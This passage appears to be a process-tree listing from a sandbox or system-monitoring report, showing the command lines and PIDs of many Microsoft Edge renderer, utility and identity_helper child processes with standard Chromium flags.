    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=19 --always-read-main-dll --metrics-shmem-handle=6172,i,1177206192821317869,2680921072878304091,2097152 --field-trial-handle=2236,i,3242880611320989427,4684326244164272168,262144 --variations-seed-version --mojo-platform-channel-handle=6900 /prefetch:1
    3⤵
    PID:3708
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=20 --always-read-main-dll --metrics-shmem-handle=7064,i,6072450293907375320,17876124301892256865,2097152 --field-trial-handle=2236,i,3242880611320989427,4684326244164272168,262144 --variations-seed-version --mojo-platform-channel-handle=7076 /prefetch:1
    3⤵
    PID:712
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --always-read-main-dll --metrics-shmem-handle=7184,i,18373560344129861368,1604280382158666913,2097152 --field-trial-handle=2236,i,3242880611320989427,4684326244164272168,262144 --variations-seed-version --mojo-platform-channel-handle=6692 /prefetch:1
    3⤵
    PID:3084
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=22 --always-read-main-dll --metrics-shmem-handle=7408,i,14087989426578966535,1966583322921068068,2097152 --field-trial-handle=2236,i,3242880611320989427,4684326244164272168,262144 --variations-seed-version --mojo-platform-channel-handle=7464 /prefetch:1
    3⤵
    PID:6456
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=23 --always-read-main-dll --metrics-shmem-handle=7632,i,15220906404250577754,9614477677149099668,2097152 --field-trial-handle=2236,i,3242880611320989427,4684326244164272168,262144 --variations-seed-version --mojo-platform-channel-handle=7640 /prefetch:1
    3⤵
    PID:6672
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=24 --always-read-main-dll --metrics-shmem-handle=7664,i,14861020565977350056,1515106168178870078,2097152 --field-trial-handle=2236,i,3242880611320989427,4684326244164272168,262144 --variations-seed-version --mojo-platform-channel-handle=7768 /prefetch:1
    3⤵
    PID:6716
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=25 --always-read-main-dll --metrics-shmem-handle=7776,i,11360056254414482979,11273454033665799649,2097152 --field-trial-handle=2236,i,3242880611320989427,4684326244164272168,262144 --variations-seed-version --mojo-platform-channel-handle=7956 /prefetch:1
    3⤵
    PID:6728
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=26 --always-read-main-dll --metrics-shmem-handle=8116,i,13611181269779640959,13132665363615893927,2097152 --field-trial-handle=2236,i,3242880611320989427,4684326244164272168,262144 --variations-seed-version --mojo-platform-channel-handle=8136 /prefetch:1
    3⤵
    PID:6784
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=27 --always-read-main-dll --metrics-shmem-handle=8296,i,9053686995701932290,11640273453520709881,2097152 --field-trial-handle=2236,i,3242880611320989427,4684326244164272168,262144 --variations-seed-version --mojo-platform-channel-handle=8308 /prefetch:1
    3⤵
    PID:6900
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=28 --always-read-main-dll --metrics-shmem-handle=8444,i,1628488321894151782,16575224468238442710,2097152 --field-trial-handle=2236,i,3242880611320989427,4684326244164272168,262144 --variations-seed-version --mojo-platform-channel-handle=8456 /prefetch:1
    3⤵
    PID:6940
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=29 --always-read-main-dll --metrics-shmem-handle=8424,i,7774310349872091993,15558804851512717890,2097152 --field-trial-handle=2236,i,3242880611320989427,4684326244164272168,262144 --variations-seed-version --mojo-platform-channel-handle=8428 /prefetch:1
    3⤵
    PID:6980
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=30 --always-read-main-dll --metrics-shmem-handle=8748,i,1900550760070831652,17046621276921030782,2097152 --field-trial-handle=2236,i,3242880611320989427,4684326244164272168,262144 --variations-seed-version --mojo-platform-channel-handle=8760 /prefetch:1
    3⤵
    PID:7036
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=31 --always-read-main-dll --metrics-shmem-handle=8916,i,276934641814276178,8687141594151952760,2097152 --field-trial-handle=2236,i,3242880611320989427,4684326244164272168,262144 --variations-seed-version --mojo-platform-channel-handle=8932 /prefetch:1
    3⤵
    PID:7072
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=32 --always-read-main-dll --metrics-shmem-handle=9072,i,12863151475886081114,1419188592455700416,2097152 --field-trial-handle=2236,i,3242880611320989427,4684326244164272168,262144 --variations-seed-version --mojo-platform-channel-handle=9088 /prefetch:1
    3⤵
    PID:7112
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=33 --always-read-main-dll --metrics-shmem-handle=9240,i,4682382169623052810,945885839263453398,2097152 --field-trial-handle=2236,i,3242880611320989427,4684326244164272168,262144 --variations-seed-version --mojo-platform-channel-handle=9276 /prefetch:1
    3⤵
    PID:3216
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=34 --always-read-main-dll --metrics-shmem-handle=9300,i,15640080640277047,11841903187754764127,2097152 --field-trial-handle=2236,i,3242880611320989427,4684326244164272168,262144 --variations-seed-version --mojo-platform-channel-handle=9308 /prefetch:1
    3⤵
    PID:3356
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=35 --always-read-main-dll --metrics-shmem-handle=9908,i,17256375393614383574,13884488782691295093,2097152 --field-trial-handle=2236,i,3242880611320989427,4684326244164272168,262144 --variations-seed-version --mojo-platform-channel-handle=9916 /prefetch:1
    3⤵
    PID:264
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=36 --always-read-main-dll --metrics-shmem-handle=9828,i,12082855078038440351,8499988194127153725,2097152 --field-trial-handle=2236,i,3242880611320989427,4684326244164272168,262144 --variations-seed-version --mojo-platform-channel-handle=9928 /prefetch:1
    3⤵
    PID:6480
- - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=11136,i,10498237149245152715,13170317196663604838,524288 --field-trial-handle=2236,i,3242880611320989427,4684326244164272168,262144 --variations-seed-version --mojo-platform-channel-handle=11128 /prefetch:14
    3⤵
    PID:1716
- - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=11136,i,10498237149245152715,13170317196663604838,524288 --field-trial-handle=2236,i,3242880611320989427,4684326244164272168,262144 --variations-seed-version --mojo-platform-channel-handle=11128 /prefetch:14
    3⤵
    PID:5684
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=37 --always-read-main-dll --metrics-shmem-handle=10188,i,9964822496863076844,11328633159317426251,2097152 --field-trial-handle=2236,i,3242880611320989427,4684326244164272168,262144 --variations-seed-version --mojo-platform-channel-handle=7180 /prefetch:1
    3⤵
    PID:1716
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=38 --always-read-main-dll --metrics-shmem-handle=10204,i,7928459815179184133,17279688094258760683,2097152 --field-trial-handle=2236,i,3242880611320989427,4684326244164272168,262144 --variations-seed-version --mojo-platform-channel-handle=7232 /prefetch:1
    3⤵
    PID:1144
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=39 --always-read-main-dll --metrics-shmem-handle=3780,i,6539883146974757127,5085413174605920805,2097152 --field-trial-handle=2236,i,3242880611320989427,4684326244164272168,262144 --variations-seed-version --mojo-platform-channel-handle=7316 /prefetch:1
    3⤵
    PID:5300
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5384,i,15777714066007397314,16488340631337948400,524288 --field-trial-handle=2236,i,3242880611320989427,4684326244164272168,262144 --variations-seed-version --mojo-platform-channel-handle=12660 /prefetch:14
    3⤵
    PID:4992
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=40 --always-read-main-dll --metrics-shmem-handle=8912,i,15830187880900565729,10384699004248285909,2097152 --field-trial-handle=2236,i,3242880611320989427,4684326244164272168,262144 --variations-seed-version --mojo-platform-channel-handle=8440 /prefetch:1
    3⤵
    PID:2056
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=41 --always-read-main-dll --metrics-shmem-handle=4024,i,2855138960711042507,2119359833853273246,2097152 --field-trial-handle=2236,i,3242880611320989427,4684326244164272168,262144 --variations-seed-version --mojo-platform-channel-handle=8448 /prefetch:1
    3⤵
    PID:4776
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=42 --always-read-main-dll --metrics-shmem-handle=10260,i,11676156069221211501,11536323458427037374,2097152 --field-trial-handle=2236,i,3242880611320989427,4684326244164272168,262144 --variations-seed-version --mojo-platform-channel-handle=8456 /prefetch:1
    3⤵
    PID:1844
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=43 --always-read-main-dll --metrics-shmem-handle=10296,i,8587631616380969257,8932438700939744815,2097152 --field-trial-handle=2236,i,3242880611320989427,4684326244164272168,262144 --variations-seed-version --mojo-platform-channel-handle=8452 /prefetch:1
    3⤵
    PID:6580
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=44 --always-read-main-dll --metrics-shmem-handle=7480,i,7038783746189875418,4323220972837796286,2097152 --field-trial-handle=2236,i,3242880611320989427,4684326244164272168,262144 --variations-seed-version --mojo-platform-channel-handle=7976 /prefetch:1
    3⤵
    PID:2924
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=45 --always-read-main-dll --metrics-shmem-handle=10312,i,12594085784102048435,17787500345484168780,2097152 --field-trial-handle=2236,i,3242880611320989427,4684326244164272168,262144 --variations-seed-version --mojo-platform-channel-handle=7984 /prefetch:1
    3⤵
    PID:5588
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=46 --always-read-main-dll --metrics-shmem-handle=5544,i,14330394244040219035,8169985198753570219,2097152 --field-trial-handle=2236,i,3242880611320989427,4684326244164272168,262144 --variations-seed-version --mojo-platform-channel-handle=8036 /prefetch:1
    3⤵
    PID:1160
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=47 --always-read-main-dll --metrics-shmem-handle=6812,i,181958906260412992,17685149646448363976,2097152 --field-trial-handle=2236,i,3242880611320989427,4684326244164272168,262144 --variations-seed-version --mojo-platform-channel-handle=8016 /prefetch:1
    3⤵
    PID:6164
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=48 --always-read-main-dll --metrics-shmem-handle=7460,i,3286127973261487873,1801440012987591189,2097152 --field-trial-handle=2236,i,3242880611320989427,4684326244164272168,262144 --variations-seed-version --mojo-platform-channel-handle=8068 /prefetch:1
    3⤵
    PID:6148
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=49 --always-read-main-dll --metrics-shmem-handle=5420,i,9151347606526561722,11137009959810185308,2097152 --field-trial-handle=2236,i,3242880611320989427,4684326244164272168,262144 --variations-seed-version --mojo-platform-channel-handle=7972 /prefetch:1
    3⤵
    PID:3796
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=50 --always-read-main-dll --metrics-shmem-handle=10360,i,16679781638029141082,10181154156009215451,2097152 --field-trial-handle=2236,i,3242880611320989427,4684326244164272168,262144 --variations-seed-version --mojo-platform-channel-handle=12560 /prefetch:1
    3⤵
    PID:6084
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=51 --always-read-main-dll --metrics-shmem-handle=10396,i,4113794104346526247,695425232560175350,2097152 --field-trial-handle=2236,i,3242880611320989427,4684326244164272168,262144 --variations-seed-version --mojo-platform-channel-handle=12580 /prefetch:1
    3⤵
    PID:5964
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=52 --always-read-main-dll --metrics-shmem-handle=10424,i,9114624070931170732,2115446726604674084,2097152 --field-trial-handle=2236,i,3242880611320989427,4684326244164272168,262144 --variations-seed-version --mojo-platform-channel-handle=12600 /prefetch:1
    3⤵
    PID:4596
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=54 --always-read-main-dll --metrics-shmem-handle=10468,i,12896499186064842940,9589489872223856586,2097152 --field-trial-handle=2236,i,3242880611320989427,4684326244164272168,262144 --variations-seed-version --mojo-platform-channel-handle=12640 /prefetch:1
    3⤵
    PID:2296
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=53 --always-read-main-dll --metrics-shmem-handle=10472,i,16490010498437499231,9184772812485361046,2097152 --field-trial-handle=2236,i,3242880611320989427,4684326244164272168,262144 --variations-seed-version --mojo-platform-channel-handle=12620 /prefetch:1
    3⤵
    PID:5596
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5376,i,10696627491733193062,16909484085676472533,524288 --field-trial-handle=2236,i,3242880611320989427,4684326244164272168,262144 --variations-seed-version --mojo-platform-channel-handle=8540 /prefetch:14
    3⤵
    PID:6152
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5364,i,13275053543588454467,15593270206419973751,524288 --field-trial-handle=2236,i,3242880611320989427,4684326244164272168,262144 --variations-seed-version --mojo-platform-channel-handle=6596 /prefetch:14
    3⤵
    PID:3224
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=59 --always-read-main-dll --metrics-shmem-handle=3580,i,16951559932506304330,2786084133029368503,2097152 --field-trial-handle=2236,i,3242880611320989427,4684326244164272168,262144 --variations-seed-version --mojo-platform-channel-handle=12792 /prefetch:1
    3⤵
    PID:2332
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=60 --always-read-main-dll --metrics-shmem-handle=10500,i,15292592848299474860,4497681475654605482,2097152 --field-trial-handle=2236,i,3242880611320989427,4684326244164272168,262144 --variations-seed-version --mojo-platform-channel-handle=12788 /prefetch:1
    3⤵
    PID:6572
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=61 --always-read-main-dll --metrics-shmem-handle=10536,i,18022142329616067646,3296854298132970803,2097152 --field-trial-handle=2236,i,3242880611320989427,4684326244164272168,262144 --variations-seed-version --mojo-platform-channel-handle=12784 /prefetch:1
    3⤵
    PID:4772
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=64 --always-read-main-dll --metrics-shmem-handle=11064,i,11731328675580428337,9579191463750479736,2097152 --field-trial-handle=2236,i,3242880611320989427,4684326244164272168,262144 --variations-seed-version --mojo-platform-channel-handle=12844 /prefetch:1
    3⤵
    PID:5264
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=66 --always-read-main-dll --metrics-shmem-handle=11160,i,11533878716001683450,16506049866759047179,2097152 --field-trial-handle=2236,i,3242880611320989427,4684326244164272168,262144 --variations-seed-version --mojo-platform-channel-handle=12952 /prefetch:1
    3⤵
    PID:2920
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=68 --always-read-main-dll --metrics-shmem-handle=11196,i,10867857854909624981,14759029848504345276,2097152 --field-trial-handle=2236,i,3242880611320989427,4684326244164272168,262144 --variations-seed-version --mojo-platform-channel-handle=12944 /prefetch:1
    3⤵
    PID:2752
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
